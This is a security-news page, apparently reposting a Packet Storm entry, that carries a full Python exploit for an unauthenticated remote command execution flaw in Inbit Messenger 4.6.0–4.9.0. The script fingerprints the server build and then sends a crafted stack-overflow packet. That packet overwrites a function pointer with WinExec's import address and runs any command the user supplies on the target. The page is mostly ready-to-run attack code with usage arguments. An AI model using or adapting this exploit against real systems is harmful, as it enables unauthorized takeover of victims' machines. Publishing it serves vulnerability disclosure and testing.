Security
Headlines
HeadlinesLatestCVEs

Headline

Inbit Messenger 4.9.0 Remote Command Execution

Inbit Messenger versions 4.6.0 through 4.9.0 suffer from an unauthenticated remote command execution vulnerability.

Packet Storm
#vulnerability#windows#git#auth
# Exploit Title: Inbit Messenger v4.9.0 - Unauthenticated Remote Command Execution (RCE)# Date: 11/08/2022# Exploit Author: a-rey # Vendor Homepage: http://www.inbit.com/support.html# Software Link: http://www.softsea.com/review/Inbit-Messenger-Basic-Edition.html# Version: v4.6.0 - v4.9.0# Tested on: Windows XP SP3, Windows 7, Windows 10, Windows Server 2019# Exploit Write-Up: https://github.com/a-rey/exploits/blob/main/writeups/Inbit_Messenger/v4.6.0/writeup.md#!/usr/bin/env python3# -*- coding: utf-8 -*-import sys, socket, struct, string, argparse, loggingBANNER = """\033[0m\033[1;35m╔══════════════════════════════════════════════════════════════════════════╗║\033[0m Inbit Messenger v4.6.0 - v4.9.0 Unauthenticated Remote Command Execution \033[1;35m║╚══════════════════════════════════════════════════════════════════════════╝\033[0m by: \033[1;36m █████╗      ██████╗ ███████╗██╗   ██╗     \033[1;36m██╔══██╗     ██╔══██╗██╔════╝██║   ██║     \033[1;36m███████║ ███ ██████╔╝█████╗   ██╗ ██═╝     \033[1;36m██╔══██║     ██╔══██╗██╔══╝     ██╔╝       \033[1;36m██║  ██║     ██║  ██║███████╗   ██║        \033[1;36m╚═╝  ╚═╝     ╚═╝  ╚═╝╚══════╝   ╚═╝   \033[0m"""# NOTE: IAT addresses for KERNEL32!WinExec in IMS.EXE by build numberTARGETS = {  4601 : 0x005f3360,  4801 : 0x005f7364,  4901 : 0x005f7364,}# NOTE: min and max values for length of commandCMD_MIN_LEN = 10CMD_MAX_LEN = 0xfc64# NOTE: these bytes cannot be in the calculated address of WinExec to ensure overflowBAD_BYTES = b"\x3e" # >def getWinExecAddress(targetIp:str, targetPort:int) -> bytes:  # NOTE: send packet with client build number of 4601 for v4.6.0  pkt = b"<50><0><IM><ID>7</ID><a>1</a><b>4601</b><c>1</c></IM>\x00"  logging.info(f"trying to get version information from {targetIp}:{targetPort} ...")  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  s.connect((targetIp, targetPort))  s.send(pkt)  _d = s.recv(1024)  # find build tag in response  if b'<c>' not in _d:    logging.error(f"invalid version packet received: {_d}")    sys.exit(-1)  s.close()  try:    build = int(_d[_d.index(b'<c>') + 3:_d.index(b'</c>')])  except:    logging.error(f"failed to parse build number from packet: {_d}")    sys.exit(-1)  # get the IAT offset   if build not in TARGETS.keys():    logging.error(f"unexpected build number: {build}")    sys.exit(-1)  # NOTE: we need to subtract 0x38 since the vulnerable instruction is 'CALL [EAX + 0x38]'  winexec = struct.pack("<I", TARGETS[build] - 0x38)  logging.success(f"target build number is {build}")  logging.info(f"WinExec @ 0x{TARGETS[build] - 0x38:08x}")  # sanity check for bad bytes in WinExec address  for c in winexec:    if c in BAD_BYTES:      logging.error(f"found bad byte in WinExec address: 0x{TARGETS[build] - 0x38:08x}")      sys.exit(-1)  return winexecdef exploit(targetIp:str, targetPort:int, command:bytes) -> None:  # NOTE: command must be NULL terminated  command += b"\x00"  # check user command length  if len(command) < CMD_MIN_LEN:    logging.error(f"command length must be at least {CMD_MIN_LEN} characters")    sys.exit(-1)  if len(command) >= CMD_MAX_LEN:    logging.error(f"command length must be less than {CMD_MAX_LEN} characters")    sys.exit(-1)  # get WinExec address  winexec = getWinExecAddress(targetIp, targetPort)  # get a string representation of the length of the command data after the <> tag parsed by atol()  pktLen = str(len(command))  pkt  = b"<"            # start of XML tag/stack overflow  pkt += pktLen.encode() # number parsed by atol() & length of command data following '>' character  pkt += b"\x00"         # NULL terminator to force atol to ignore what comes next  # NOTE: adjust the 85 byte offset calculated that assumes a 2 byte string passed to atol()  pkt += (b"A" * (85 - (len(pktLen) - 2))) # padding up to function pointer overwrite  pkt += winexec                           # indirect function pointer we control  pkt += b">"                              # end of XML tag/stack overflow  pkt += command                           # the command set to the call to WinExec()  logging.info(f"sending payload to {targetIp}:{targetPort} ...")  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  s.connect((targetIp, targetPort))  s.send(pkt)  s.close()  logging.success("DONE")if __name__ == '__main__':  # parse arguments  parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, usage=BANNER)  parser.add_argument('-t', '--target',  help='target IP',      type=str, required=True)  parser.add_argument('-c', '--command', help='command to run', type=str, required=True)  parser.add_argument('-p', '--port',    help='target port',    type=int, required=False, default=10883)  args = parser.parse_args()  # define logger  logging.basicConfig(format='[%(asctime)s][%(levelname)s] %(message)s', datefmt='%d %b %Y %H:%M:%S', level='INFO')  logging.SUCCESS = logging.CRITICAL + 1  logging.addLevelName(logging.SUCCESS, '\033[0m\033[1;32mGOOD\033[0m')  logging.addLevelName(logging.ERROR,   '\033[0m\033[1;31mFAIL\033[0m')  logging.addLevelName(logging.WARNING, '\033[0m\033[1;33mWARN\033[0m')  logging.addLevelName(logging.INFO,    '\033[0m\033[1;36mINFO\033[0m')  logging.success = lambda msg, *args: logging.getLogger(__name__)._log(logging.SUCCESS, msg, args)  # print banner  print(BANNER)  # run exploit  exploit(args.target, args.port, args.command.encode())

Packet Storm: Latest News

Acronis Cyber Protect/Backup Remote Code Execution